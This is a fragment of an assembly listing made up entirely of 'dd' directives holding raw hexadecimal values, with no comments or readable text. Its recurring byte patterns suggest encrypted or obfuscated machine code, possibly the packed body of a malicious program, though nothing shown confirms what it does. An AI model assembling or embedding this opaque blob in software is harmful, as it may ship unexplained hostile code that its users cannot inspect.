		dd 665F6254h, 0EF81C18Bh, 21BB5DBCh, 16898D89h,	0EF8107E0h
		dd 5D6CB75Ah, 1E819D29h, 0EF8107E0h, 6A848483h,	9FCA8166h
		dd 313C899Bh, 6800Fh, 95310000h, 7E02325h, 25FD8D09h, 0EE8307E0h
		dd 8154B404h, 0FF9EE0FEh, 1B850FFFh, 89000000h,	0E010E18Dh
		dd 21E907h, 6A470000h, 9691946h, 0C9D288DCh, 0B2D69A19h
		dd 0BD89F4E3h, 7E015B5h, 0FFFF84E9h, 276FFEFFh,	42C541CAh
		dd 6A234ACh, 7AA27C24h,	2B3BB37Dh, 2181D020h, 9083B42Ah
		dd 0DD6F3025h, 0A7863025h, 0F2AED198h, 8D893022h, 848630ADh
		dd 43EB8DA6h, 2E8637C5h, 90864BA1h, 1103F625h, 6A81D022h
		dd 784A9B4Dh, 2DB2B1D6h, 0DFAE2BCEh, 6A6785DAh,	0A40B37C5h
		dd 97654FCDh, 0B80DE0DAh, 23DFB5E3h, 0FAC837C5h, 9863021h
		dd 2CC4E765h, 66C2BB75h, 0A886BB21h, 0C8821461h, 49EB85DAh
		dd 0A10B37C5h, 15654FCDh, 0F10DE0DAh, 8486209Ch, 428ED925h
		dd 2E203025h, 90863EA0h, 818D7925h, 0DB76B52Ah,	1F6FCFDAh
		dd 84863025h, 64C8D8B8h, 42838822h, 0C2793025h,	67A58DA8h
		dd 0C50B37C3h, 2360C7CFh, 22A3229Dh, 42491BA3h,	6A234ACh
		dd 7AA27C24h, 2B3BB37Dh, 2181D020h, 9083B42Ah, 0DD6F3025h
		dd 0A7863025h, 0E983D198h, 0B9A4F305h, 22h, 0F89B8D8Dh
		dd 89FC07E6h, 0E018158Dh, 4985C707h, 7E020h, 0F00006Bh
		dd 985h, 3830F00h, 66000000h, 85C7F88Bh, 7E022C5h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 6BC35545h
		dd 0B5FF46F7h, 7E01E49h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 16h, 4C35343h, 8F0FA6BBh, 0
		dd 209195FFh, 0BD8907E0h, 7E0251Dh, 95FF006Ah, 7E018A9h
		dd 0DEBC08Bh, 2E300A7h,	0E5054333h, 0BD7C795Dh,	5E9EFh
		dd 3A1D0000h, 0E9003637h, 86Bh,	2B45FFE7h, 0A0BA7259h
		dd 1731E9CEh, 8AA45C45h, 21CD6B8h, 2D0F04ADh, 0A3875973h
		dd 1AFDCFE9h, 90764862h, 0F1DCBCD6h, 0D3A8E3CEh, 8F299B21h
		dd 0BAA0CCE2h, 2FE9CF29h, 827E915h, 0F6D8B2F1h,	4FF3363Ch
		dd 0C92E5ABEh, 91737176h, 4E6C0D7h, 484E454Ah, 742E14E6h
		dd 0D18B716Fh, 53164CCh, 74976780h, 21DA833Dh, 2EE2E639h
		dd 3EB3B90Ch, 0F7B197E1h, 8FC3FFDDh, 7FEC53D4h,	36000000h
		dd 8A8F492Bh, 0ECC5E827h, 9229BAA0h, 0EFA98D3Fh, 0F3EDF3EAh
		dd 0AF675011h, 308B3AAh, 61661E05h, 0C2C78163h,	7AC51A4Fh
		dd 9B8155Eh, 0A10AA7CAh, 217429BAh, 853F211Bh, 0E6518D6Bh
		dd 0C59F5434h, 9B1F25DFh, 36h, 8F492BE5h, 0A16B438Ah, 503229BAh
		dd 0AD939196h, 7BCEEF3h, 0ED5E67AAh, 0AA644690h, 518E90h
		dd 0DE70000h, 0CB836829h, 1F24CFC6h, 2EF310CFh,	0A651D04Eh
		dd 492B7EA0h, 0BE4C788Fh, 0BD0B0E6h, 2D74C1C7h,	29BA9F82h
		dd 7A7F391Dh, 0DBE09A7Ch, 8CDE3368h, 0F4EBF0AAh, 51AE6349h
		dd 546B2507h, 9FBFF215h, 0F8B729BAh, 0BA9FDCD5h, 0A44FA229h
		dd 0D1423C9Eh, 0B6D9F04Fh, 2E5A9108h, 46E30F4Eh, 1CACE82Ch
		dd 43793833h, 0A2C521DAh, 21DA440Fh, 0EA3D1467h, 6D72C5E4h
		dd 0B8D28A6Fh, 444901E6h, 0F00724ECh, 7A4785CDh, 0BFA1FB26h
		dd 5F555A05h, 0A68BDD32h, 94ABD7EEh, 0C2BFAA7Ah, 9062C4CAh
		dd 0A7EEF3ABh, 29BA06FAh, 1365BA7Bh, 625C762Eh,	3E54BD1h
		dd 61464449h, 7953FEA9h, 0B59B75D8h, 0F0C1E4FBh, 8629BAA0h
		dd 2B0B2D33h, 0C6B18B45h, 4A500AECh, 0F31FEEE8h, 415734DEh
		dd 0DF94A715h, 11C3BF3Ch, 746B7028h, 26EA6Eh, 0D1340000h
		dd 0C612EC4Bh, 8C254887h, 0F229BAA0h, 5B56999Fh, 2329BAA1h
		dd 0C4C6F6D0h, 0B48E462Bh, 2AFBA2E8h, 91000000h, 12EC4BD1h
		dd 0F306ECC6h, 0C1C0658Eh, 272DD8BFh, 320CA5C8h, 0AA7D29BAh
		dd 0BA322A87h, 56015429h, 2BC4C67Ch, 0E8B48E46h, 8B452BA2h
		dd 20003F86h, 0F12629BEh, 0AA644A9Ch, 22DCBE90h, 833D1F1Dh
		dd 70CD167Eh, 708A4426h, 306B5492h, 397F54h, 2BC90000h
		dd 2E868B45h, 542E45E2h, 0B9B0B56Dh, 0DD3154B3h, 5B2E5A8Bh
		dd 61661E01h, 47BABF6Ah, 0B36B4E28h, 7438799Ch,	0EB3E21DAh
		dd 641370E5h, 0E5EAA48Ah, 8EEE8EEh, 2B3A344Eh, 2E868B45h
		dd 542E45E2h, 0BAB1B670h, 3C1655B4h, 0A39A9F57h, 6A6B3C9Fh
		dd 242A13DFh, 5A5C21E1h, 0AAC4172Eh, 0AFBB4773h, 55DC42B3h
		dd 0B56F554Fh, 0FD205F9Eh, 21DA0BB4h, 357C77CAh, 4121DA0Ch
		dd 549BE8EEh, 0A5E8363Ch, 0DF1CBEAh, 7BD84D53h,	77914B31h
		dd 5BFA5h, 0A4BB78A8h, 272DE5CAh, 3F5D89C8h, 0E61E67F7h
		dd 0F6FBB39Ah, 0B4E54FFh, 0AAC89A67h, 65CE591h,	4D22FA06h
		dd 775188A2h, 36EED392h, 898F3A31h, 0EC4BD167h,	2BB2D812h
		dd 0C3B18B45h, 0DEF31FC9h, 501C5734h, 66000000h, 2E54BD1h
		dd 374E454Ah, 0BAA09D14h, 0DB86D929h, 0EA3C601h, 6829BAA1h
		dd 3F24FE15h, 0C65F8187h, 0C00D5B87h, 0ABE98C21h, 0BA512988h
		dd 57025529h, 462B2F51h, 65E8B48Eh, 0BED96C39h,	274A5AE3h
		dd 29B9F58Ah, 0F0F6A1F4h, 50FBCEh, 0D1910000h, 96D5EC4Bh
		dd 211CD6BCh, 29BAA090h, 0A12E83A6h, 0F54829BAh, 753C5F1Eh
		dd 129BAA0h, 0DBFD03AEh, 4B03ECC6h, 0EA494F46h,	0BAA0EAC7h
		dd 977A5429h, 5EC5D9DFh, 2BC4C684h, 0B2FF2246h,	0CC29BAA0h
		dd 0C6F4CE79h, 5EC64C9Ah, 0BAC0CB3Dh, 452B377Dh, 0E423868Bh
		dd 706B230Ah, 29BAA141h, 0A1E4EA3Dh, 29BE1F9Eh,	0F03A97CCh
		dd 6436500Ah, 0C5C3C882h, 0BC2429E3h, 8A274A89h, 0B429B61Fh
		dd 0B6202091h, 2C035629h, 15ED3D9h, 11BD5B7h, 306BE723h
		dd 191054h, 2B5A0000h, 2E868B45h, 0B2E45E2h, 2E5AA48Fh
		dd 1E9196E9h, 5C4294E9h, 2B8E88A2h, 9A748B45h, 0A7F4FAB4h
		dd 4B62C14Fh, 5ABD1228h, 0FF196C2Eh, 0F9AC605h,	4C1C21FBh
		dd 0C74DA1A7h, 9AC68E68h, 0EE58B826h, 9EEBF1C3h, 0AD87C678h
		dd 9B1611CBh, 0E329BAA0h, 0AA908A90h, 8CC316F0h, 1116D0B2h
		dd 1FF2141Ah, 5734DEF3h, 251Ch,	59FD2900h, 6B5971FEh, 0D192B4BAh
		dd 0C612EC4Bh, 0BAA10EA3h, 3B156829h, 462BC4C6h, 0A2E8B48Eh
		dd 52FBh, 4BD19100h, 0A3C612ECh, 29BAA10Eh, 0EBC6E928h
		dd 9329BAA0h, 53263A40h, 0BAA08130h, 8CD0D029h,	90EA0D6Eh
		dd 0A4BB66B9h, 2429E1CAh, 0C605272Dh, 454B03ECh, 462BE4E6h
		dd 65E8B48Eh, 6184A88Bh, 29BAA150h, 2328D326h, 0A1149DC0h
		dd 176A29BAh, 2B44666Ch, 3F868B45h, 29BE2000h, 4A9CF126h
		dd 961B3E64h, 0E029B61Fh, 0F6C8E28Dh, 0EE3BFD10h, 1A56A613h
		dd 82797E38h, 0C4272CD7h, 9B4F6285h, 0C4E729B6h, 29B69AEDh
		dd 55F3689h, 6D646923h,	0B868BCC2h, 0E941647Bh,	9F2E567Bh
		dd 7AF4BDE0h, 378A21D6h, 0D178728Ch, 0C612EC4Bh, 0A14D6487h
		dd 0D62929BAh, 0F42083D0h, 2C713D5Fh, 4F717779h, 0B18B452Bh
		dd 0ECC6C9C3h, 454B5109h, 5734DE09h, 5342h, 92754F00h
		dd 69327181h, 0E792BE71h, 0C3E5EBE2h, 5D804BD1h, 29BAA154h
		dd 0DCB36D4Fh, 3CF4D789h, 0BB954037h, 0A10EA3C6h, 156829BAh
		dd 6487C63Bh, 29BAA14Dh, 71D0D629h, 8E462B6Fh, 8B65E8B4h
		dd 0F4EBF0A8h, 0A0F7BADDh, 2C7F29BAh, 42FB0426h, 91000000h
		dd 9B934BD1h, 0C94AA3E1h, 0C64822CDh, 0BAA10EA3h, 694E2829h
		dd 0AFB5ACB1h, 0C65A349Bh, 0C0B95B87h, 57162FE5h, 5973E6DBh
		dd 0D13BEC0h, 809AC6EBh, 1F2AAAE9h, 1CD4BB6Dh, 201A2017h
		dd 0E8A9833Bh, 8B452BA2h, 20003F86h, 72629BEh, 124482Dh
		dd 29B61FB0h, 0C3C873C6h, 0FC51C6CCh, 82B1C4AAh, 75B1BCEEh
		dd 0CF80F4F8h, 953402BEh, 0BF99D0EAh, 211B21DBh, 0BFF2153Bh
		dd 0B729B5D3h, 5CB4B964h, 3D6077B4h, 2E55C525h,	0DEC9EF1Bh
		dd 151B92E5h, 839DF00Fh, 0EC4BD189h, 2BB2D812h,	0C3B18B45h
		dd 0DEF31FC9h, 6A1C5734h, 66000000h, 0D5EC4BD1h, 585C14FBh
		dd 7224726Ah, 0DDFF0593h, 0D95B87C6h, 16B685F3h, 8EF1FBB0h
		dd 0F3FC908Ah, 2E07AAEDh, 1C6F29BAh, 2BC4C642h,	0B2FF2246h
		dd 0CC29BAA0h, 0E8F4CE79h, 0AE032665h, 0C829BAA0h, 0F4C37175h
		dd 0C9085EFBh, 87C6A1C3h, 0BAA14D64h, 0BFD62929h, 0BAA1159Ch
		dd 80E6129h, 30DEh, 765D3700h, 0BCC2B9BEh, 0EC4BD19Ah
		dd 0EA3C612h, 7329BAA1h, 371BF50Ch, 0CF81787Dh,	342B30E8h
		dd 0C4C60C2Eh, 7035462Bh, 0F279BAE9h, 0E8B7913Ch, 8B452BA2h
		dd 45E22E86h, 0E2C3EF2Eh, 0B42E5CA9h, 7D139E99h, 186B29BAh
		dd 9A74B312h, 0D83EA2B3h, 18578170h, 6B71686Dh,	5AA32628h
		dd 9376502Eh, 8B4529DBh, 6A898F86h, 4FD1FD17h, 49B6D9F0h
		dd 0D1267C54h, 957B797Eh, 6D9E7382h, 0BFC33550h, 49D8A36Eh
		dd 9BB560CCh, 9ED0E3C9h, 671FA8B2h, 0ABF2F7A2h,	1863BC7Fh
		dd 0CD1F74A9h, 0EA162DE7h, 0D6E015CEh, 35EDD2BBh, 888E3930h
		dd 0B46E5426h, 0EA0D4CAFh, 0F7E3E6C7h, 3237EFD4h, 0B11643Bh
		dd 6B702811h, 3CEB4875h, 0E6D7DAFDh, 4C9FF7E3h,	0AC664C46h
		dd 20DAC092h, 3ED1Bh, 24830000h, 89432B66h, 0E6A08684h
		dd 4800E3E1h, 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h
		dd 25DDC2C0h, 833B2220h, 0EC816D7Eh, 4,	89240C89h, 4C181E1h
		dd 83000000h, 0C8704E9h, 89515C24h, 4C181E1h, 83000000h
		dd 0C8704E9h, 3C895C24h, 15336824h, 34890000h, 7DBA5224h
		dd 0C1542533h, 0D2F702EAh, 7C76F281h, 814A68D6h, 0C62967C2h
		dd 5AD78985h, 24348B54h, 4C481h, 0EC810000h, 4,	8F243C89h
		dd 348B0846h, 0E0895024h, 405h,	40500h,	4870000h, 3C8B5C24h
		dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 7FB9E95Ch
		dd 0FEC9FFF9h, 0B83280A7h, 7E70092h, 0E0FFC503h, 1DEAC232h
		dd 7DA0850Ah, 6D58AFB8h, 6F263455h, 2E76534Bh, 7C25407Ah
		dd 34694B2Ch, 29A7AA97h, 799B2AB4h, 93C8B5Eh, 2D94B92Ah
		dd 516A97E0h, 4DBF2BF2h, 3F7DEA25h, 68A7028Ah, 5C1837A0h
		dd 2410736Ah, 23831E29h, 6B9B584Ch, 8C27DE0h, 10E8h, 2057A700h
		dd 38F041AFh, 98DD53A9h, 2C1EB732h, 0F38B667Bh,	11C3815Bh
		dd 0E9000073h, 0Ch, 76FEB642h, 877A4C9Bh, 0E498FF48h, 0B9h
		dd 2A67BE00h, 48B5B99h,	40DF810Bh, 817A920Dh, 1F882DC0h
		dd 0EF81660Ah, 0E8819F1Ch, 457D8F2Fh, 5A8CDE81h, 0F081386Dh
		dd 4E88E187h, 14E9h, 0F906C300h, 7DC40500h, 83BB8F4Eh
		dd 38AAF125h, 779FD083h, 8166507Dh, 8F477CCEh, 24B20B04h
		dd 0ADC28166h, 0F8E9819Eh, 0E9297A97h, 0Fh, 0B8483A24h
		dd 0F4AC5083h, 41DAC5B4h, 81D377F5h, 7A97F4C1h,	0D2816629h
		dd 0F98159CDh, 0FFFF8DF4h, 2B850Fh, 0DE90000h, 34000000h
		dd 807FD7CEh, 1A8F279Ah, 3495DB3Dh, 3DE9h, 0F543E300h
		dd 4CD19BA1h, 3E0811A8h, 66C6C02Ah, 4B03A0F9h, 12E838h
		dd 7F1B0000h, 0F6E6924h, 2F4736AAh, 6759A511h, 8AE5202Dh
		dd 0FF38E95Ah, 91FFFFFFh, 2A928047h, 0A672B00Ch, 8D8DA774h
		dd 7E70326h, 66F08B66h,	0C385EB81h, 18158D89h, 21B307E0h
		dd 204985C7h, 5BA807E0h, 0B8660000h, 0D38A80C1h, 22C585C7h
		dd 7E0h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 140424h, 53430000h, 0DE82EC3h, 64000000h, 0F28EB1E8h
		dd 66414DD3h, 57034C72h, 5F515EF5h, 7B9B5FFh, 0C78107E0h
		dd 229E9EE1h, 209195FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 6AF52EC3h, 0A995FF00h
		dd 8B07E018h, 6C0BEBC0h, 27CB2127h, 32849D96h, 14E8E00Bh
		dd 77000000h, 8936A40Dh, 0C2474ADh, 0B2985D6Ah,	4A8804E5h
		dd 0F3DC91Eh, 183h, 895FF500h, 0E016B595h, 0D8C78107h
		dd 9000075h, 0E007798Dh, 8BC02B07h, 8D09070Ch, 7E01FE5h
		dd 0FB78C181h, 8D895D8Dh, 7E01B9Dh, 0FF5EE981h,	0BA666756h
		dd 0F181C6E8h, 59279506h, 57D9589h, 0C8907E0h, 39858907h
		dd 307E010h, 0E01101B5h, 2E88307h, 48E0Fh, 0BE660000h
		dd 48488431h, 11E8h, 0C8B43900h, 0E2636E35h, 0A31B611Ch
		dd 0F03309D6h, 815E637Ah, 0FF8AECF8h, 11850FFFh, 8B000000h
		dd 0E010E1B5h, 21E907h,	64B0000h, 5CB57CB1h, 341DB589h
		dd 78E907E0h, 0BEFFFFFFh, 0E165B8BAh, 10584Ch, 0CBFE05F2h
		dd 8DE6D53Ah, 0E704998Dh, 0C1BF0F07h, 18158D89h, 816607E0h
		dd 8B9C86D3h, 0E0119D95h, 4985C707h, 9407E020h,	0E900005Bh
		dd 8, 5D3FF9DFh, 0ECDDBF1Bh, 22C585C7h,	7E0h, 0B70F0000h
		dd 0FD2DBFD3h, 0B5FF2A2Dh, 7E004A9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0A1C35545h,	1BD4A5DAh, 9E90E94h
		dd 0E000000h, 3C260829h, 14671AD9h, 66F28B66h, 0B29DDF81h
		dd 209195FFh, 9D8B07E0h, 7E0048Dh, 6AC58Ah, 18A995FFh
		dd 0C08B07E0h, 5D5F5EEBh, 403FC6FBh, 0CCC67673h, 964CF741h
		dd 155C6E64h, 6A23857Eh, 0FB1503AAh, 9DF3275Eh,	34C82D1Fh
		dd 5B968DBEh, 56DFFA47h, 5274739Eh, 6EA2B22Fh, 0E2019892h
		dd 0BF804A82h, 0F90882E8h, 0D2E04AE2h, 8E19A5D1h, 0F39B5B8Ah
		dd 0B35DA7B1h, 0D6C36FDAh, 0E7EC1869h, 57B222F7h, 0A5EE4105h
		dd 5D98D8Dh, 0C68B07E7h, 18158D89h, 8D0107E0h, 7E02DA9h
		dd 204985C7h, 6A6007E0h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 5A7736C3h, 2D1A5F6Ch
		dd 958BEE55h, 7E0074Dh,	22C585C7h, 7E0h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 60578CC3h, 0B70FE5B2h, 0BB6661DEh, 0B5FF2E72h, 7E006D5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C9C35646h
		dd 66B375BCh, 898D4CB8h, 0E0160D9Dh, 9195FF07h,	6A07E020h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 7A0CC355h, 6E7BE347h, 0B70F5089h,	6A5EDBh
		dd 18A995FFh, 0C08B07E0h, 163469EBh, 0EFEFE6Eh,	0CB756473h
		dd 45A1B72Bh, 404A42B3h, 16E5B4D4h, 79D2987Dh, 8967C5BBh
		dd 725DB46Ch, 0C36345D1h, 7776A2AAh, 6935551Ah,	0B4CE93FDh
		dd 0FB7F927h, 7DEEA9FDh, 0E852CFE0h, 4FF08E1Fh,	6BA8B6B4h
		dd 0E887DA5Bh, 0DCBA1AFAh, 0CAE837D3h, 4EDFE28Ch, 0F728B4D9h
		dd 290F435Dh, 25D5F3FFh, 0F6726013h, 0E8DCB955h, 14h, 14E2AB72h
		dd 703FB6E5h, 0D8C542E4h, 611DCCA2h, 0A7C5FBCAh, 1E058589h
		dd 0BE5A07E0h, 5DEDB617h, 726DC281h, 9D010000h,	7E02435h
		dd 8060FF33h, 295313E6h, 0E02AD995h, 0FF615A07h, 0E8601734h
		dd 0Eh,	4A3E2865h, 605CAB74h, 0EF1CF025h, 5BFCE162h, 6850Fh
		dd 800F0000h, 0
		dd 85315B61h, 7E0344Dh,	2B17C381h, 0F602C2Eh, 383h, 0F0BF0F00h
		dd 2B018D89h, 816107E0h, 0C5DCC2F3h, 58B0F51h, 50000000h
		dd 5959D480h, 0AB94C381h, 1C8968D3h, 81B58B3Ah,	8B07E000h
		dd 2CEF81CEh, 89796B1Ah, 0E0265985h, 28C78107h,	0B8796B1Ah
		dd 304278C7h, 8E70FF81h, 850FFFFFh, 0Ch, 16E95CB1h, 1B000000h
		dd 6CEBBDE0h, 0E3CC99B8h, 0FF61E94Dh, 0EEC0FFFFh, 4898E336h
		dd 0CE966h, 7C560000h, 1414h, 0
		dd 0F1E90000h, 6E000004h, 0E0B2CC86h, 552741F9h, 0CC9EB870h
		dd 3F112BE3h, 3489A35Dh, 0FAB4968Bh, 702A0EE0h,	0E9A18456h
		dd 5D17FDCFh, 55786343h, 21D39A5Ch, 2B16B022h, 23868B45h
		dd 0A7AC6449h, 0CEB0AAB0h, 4123FD14h, 69E3DF2Eh, 23CE9D45h
		dd 8C75271Eh, 356CCED4h, 0B8BE765Bh, 191ED8BEh,	767B351Bh
		dd 0D4D99178h, 85D72C61h, 94CBE59Fh, 62D4868h, 0D0D67453h
		dd 213BF3D6h, 92D10EAh,	0B9D3CBE6h, 0B560B329h,	0B9B3B9B0h
		dd 0B6191ED6h, 0D45D5477h, 0C61929B9h, 28E2C6C0h, 0A3002D23h
		dd 0A4BE7659h, 492BECD2h, 0E8938A8Fh, 0D4129CE3h, 0A28929B9h
		dd 0FEE7E5EAh, 5A0F4146h, 6091BA05h, 2771AD03h,	749A5434h
		dd 0E4000000h, 868B452Bh, 0BAA1703Fh, 0BF99B429h, 7B3519D8h
		dd 0F855CAD0h, 4B300A49h, 0A1199893h, 126529BAh, 67055D0Eh
		dd 1E24B3A3h, 3457EA18h, 10554h, 2B4F0000h, 0E8A08544h
		dd 533A383Dh, 0C3AA849Bh, 90F060Bh, 1DD5BEBCh, 1370A518h
		dd 0F5D1E2C9h, 362B755Ah, 0E5B7D17Ch, 542E45FFh, 4BADB36Bh
		dd 0FFB2D514h, 3729B9D1h, 0B9D19D14h, 0AF86D929h, 2B34565Ch
		dd 0EDA58849h, 9BDA3D42h, 0BAA13978h, 0CD856A29h, 0A7FAD1C8h
		dd 9CC0A7A1h, 0BAA13879h, 0D6DBFE29h, 0A029BAA0h, 7823764Dh
		dd 6DC20B73h, 4926391Bh, 7FB483A1h, 5C2E48F3h, 0B9B7BC76h
		dd 0BB171CD4h, 6BA7055Ah, 0C95434E8h, 494E06EFh, 95EEC3E6h
		dd 358829BAh, 9500848Ah, 4A000000h, 788F492Bh, 0BE765F39h
		dd 0BAA0EEC3h, 2F358829h, 47FFE4E2h, 0A45E4442h, 4BCA19Fh
		dd 0FA578CFFh, 977190B7h, 0FDF4F9B3h, 0DB2D82F7h, 904F38F9h
		dd 9B46F1A9h, 13CDAF81h, 127FAB0Eh, 0AAD54C95h,	0DBC4BEC4h
		dd 3E201E23h, 9B817F84h, 0F5AADCE1h, 0E4455598h, 29E5318Fh
		dd 5F2E5434h, 78000000h, 788F492Bh, 0FE03BB9Eh,	51B40107h
		dd 0BA2D9025h, 0E294CB11h, 443E44FEh, 72A4A961h, 0D7B160BDh
		dd 8F492FEEh, 0B68FDFE4h, 0CCD4C00Bh, 302A30DBh, 807A944Eh
		dd 878C442Bh, 0BAA16E40h, 90482D29h, 99AA8D8Bh,	38E157Ch
		dd 0E6EB963Eh, 236EC3F0h, 1674C9FAh, 5434ADE8h,	103h, 462B4D00h
		dd 0A58B898Eh, 0FFE8E6EBh, 5E444247h, 0B86D9FA4h, 416E185Bh
		dd 0FDB59AECh, 6E280CE6h, 36DA0668h, 0A7520CF2h, 9FFD6D90h
		dd 20732E5Ah, 7D371D1Bh, 0F1AB9163h, 0A00AA5ECh, 0C26121DAh
		dd 3047FFE8h, 0DA9FA40Dh, 8187DA21h, 7F65B70Ch,	0F3D9ABC5h
		dd 50363439h, 0E0299196h, 99533983h, 0EB65A17Fh, 0A8E53D4h
		dd 0D8000001h, 45844FD1h, 0BAA08F22h, 9994E729h, 29BAA118h
		dd 631B045Eh, 11BC675Eh, 86FFD7FAh, 26792E5Ah, 833D2321h
		dd 0F7B19769h, 0FB0EF4F2h, 0AACE91E0h, 7B331625h, 222025D0h
		dd 817F843Eh, 0B2DEE39Dh, 654A9CF1h, 6B1A8ADh, 0FA4CA1EAh
		dd 62405A14h, 53D4B724h, 444Fh,	77305C00h, 0C4BDC154h
		dd 0C6DE0006h, 4D5109ECh, 0C36AE8D0h, 0EC40465Eh, 0CEF10825h
		dd 56454703h, 0DC23287Bh, 0A9BAB8D5h, 0D67AD798h, 0B0D3EA4Bh
		dd 0D6457621h, 0F6BBDE9Dh, 8029BA89h, 6668822Dh, 6Dh, 0F04FD1FCh
		dd 0D16E9AD9h, 1493EBADh, 0EFABEEF4h, 492E59E0h, 0DF3F1F6h
		dd 81673953h, 517BC2C7h, 0B821D9E1h, 765CAE03h,	916BA2BCh
		dd 9BEFF5AFh, 7C9FB675h, 267CE603h, 0BDBBC013h,	238EB1D7h
		dd 5B29B2DAh, 7465D08h,	0B2D9CDE4h, 2DE5CE29h, 75A3128h
		dd 91BEB401h, 0A380903Ch, 0DF16698Ch, 0D1242E55h, 0C2A680B7h
		dd 60C0308h, 0F04FD1E4h, 385B9AD9h, 29BAA079h, 0A10FA2C5h
		dd 146729BAh, 59E6EA3Dh, 86521304h, 37CBFC5h, 132E5D4Bh
		dd 181DD7B9h, 73717621h, 0E7B9D38Dh, 0FB424701h, 326274EDh
		dd 0EDF2AC90h, 494E06EFh, 0F83B98E1h, 90479CD1h, 74832E51h
		dd 0A8FB15A6h, 535911F6h, 9FB97359h, 282DE7CDh,	8489412Ah
		dd 0BA0C618Eh, 2E001AD4h, 5B898E48h, 1Ch, 3AF4DAB4h, 16383E35h
		dd 0C7EA2924h, 29BAA0EAh, 0FFB2D594h, 7729BAA0h, 51737924h
		dd 8489432Bh, 0E1E6A086h, 434800E3h, 0A2A76145h, 308C2A4h
		dd 64692305h, 0C0C57D66h, 2025DDC2h, 7E833B22h,	5D54556Dh
		dd 4C581h, 0ED830000h, 242C8704h, 4EC835Ch, 68240489h
		dd 1074h, 52243C89h, 0E70743BAh, 2C815207h, 0B0500024h
		dd 55864h, 5A64B050h, 243C8B54h, 5304C483h, 8BBh, 0F8EB8100h
		dd 106695Dh, 0F8C381FBh, 8906695Dh, 3C8B5B03h, 0E0895024h
		dd 405h, 4C08300h, 5C240487h, 5024048Bh, 405E089h, 83000000h
		dd 48704C0h, 0A8E95C24h, 26FFF974h, 0E70BB9B8h,	0FFC50307h
		dd 0BAD339E0h, 0B13D7950h, 0DBD4D07Bh, 0BADC751Ah, 0ED176F46h
		dd 0AE123400h, 15124767h, 0A1E34D6Ah, 6A8D8D1Bh, 63E3235Dh
		dd 0E7B0725Fh, 88286762h, 0A1323C41h, 0CE5883Ah, 1C63B260h
		dd 6FAF522h, 0A7E21A25h, 0EC8CCB40h, 627CC621h,	3EC40F21h
		dd 2CE932h, 86C60000h, 77Bh, 9 dup(0)
		dd 5CE90000h, 0EE000005h, 60324C06h, 0D5A7C179h, 4C1E38F0h
		dd 0BF91AB63h, 0B40923DDh, 7A34160Bh, 0F0AA8E60h, 692104D6h
		dd 0DD977D4Fh, 0D5F8E3C3h, 21D394DCh, 0C69630A2h, 4B500AECh
		dd 6E544E54h, 0CFB1AFB4h, 4329FB15h, 0F7DE9D82h, 988F943Fh
		dd 0A1535E81h, 0D82B29BAh, 99C5282Dh, 0F9F4D7CAh, 324BC719h
		dd 0D03D585Ch, 0CD40A14Bh, 41ECD49Bh, 0EFF4AC8Fh, 12F8F2F8h
		dd 6E555358h, 0CEB3B1B6h, 2C131116h, 8E716F74h,	0B3DAD1D6h
		dd 0B7DE217Eh, 20DABE98h, 0A91E241Bh, 621C0254h, 53371148h
		dd 999D9499h, 0A4F2F5C8h, 0DFD9DFB6h, 582A44FCh, 0BAB8BD75h
		dd 21171CD6h, 0EE89FF4h, 0CC866827h, 2025D0C7h,	6C768D0h
		dd 0D984D201h, 37F6D9D3h, 9A91964Eh, 1D03D5EFh,	21FB5E63h
		dd 3D80863Eh, 29BA7B71h, 0D12F84B5h, 5434CC95h,	77BEh
		dd 452B0800h, 703F868Bh, 0B429BAA1h, 92D02E83h,	0BD5434EAh
		dd 1, 85442B07h, 3A3FEAA2h, 314FDD7h, 5BAC85B2h, 8D933EC2h
		dd 0EFF4AC93h, 1AFB608Ch, 0A4252395h, 4F540EF2h, 6F585258h
		dd 203FB2B7h, 0BCA36446h, 5D545904h, 40AC2ABh, 1E8328Fh
		dd 0CCF82F49h, 2FE2B04Ch, 80A3BAC7h, 29BA9731h,	0FAF4FA4Dh
		dd 69435A14h, 22DCC283h, 767B261Dh, 1D17797Fh, 8A8F492Bh
		dd 5E81A58Ch, 29BAA153h, 282DD82Bh, 0D01A77C0h,	481A34EEh
		dd 40A3A862h, 0C3C98166h, 4025E4C9h, 7CD8DD88h,	2A68C61Bh
		dd 655434E8h, 95h, 0A1103372h, 0B029BA96h, 0B4F31945h
		dd 0A9FCD3F2h, 417909A5h, 1F25CA92h, 8ECC6FDh, 4C52494Eh
		dd 0B1B67052h, 0FF16CEB3h, 83894325h, 318EC336h, 4F2F5682h
		dd 84DC0359h, 2C31E9D2h, 53352F35h, 0CBAD7F99h,	250E0C11h
		dd 0C10C686Dh, 4046FEE7h, 0FA1876CBh, 3A5434FCh, 0B228B80Eh
		dd 3249F15Eh, 0BA1EA20Fh, 8389DC29h, 46FFh, 492B4900h
		dd 0A98C8A8Fh, 5BAECF1h, 0BB7C5EA8h, 20171CD4h,	0E5245B75h
		dd 0A12E83A6h, 0F54829BAh, 0BAA0B7FAh, 666CBF29h, 3ECC644h
		dd 494F464Bh, 0ABB0684Fh, 0BAA14A64h, 54A9DA29h, 34EAC8F6h
		dd 1E354h, 2B2D0000h, 8B898E46h, 0F0E6EBA5h, 371C6EC3h
		dd 0FC3C687Fh, 2A8952D7h, 78A4060Ch, 51748BA8h,	2E59E219h
		dd 0F9F7FC4Fh, 0B56D5213h, 0F40EB9B0h, 7D823C22h, 0D9E17936h
		dd 89412621h, 0DFA08684h, 8E933EF6h, 0FF5AD90h,	0D4BA055Ah
		dd 9278C21Fh, 432AEBD1h, 0E48F868Bh, 0C0E32239h, 21D9E1F1h
		dd 0D2343A8Dh, 49601A00h, 0E1CAE70Ah, 61B421D9h, 2A100E5Bh
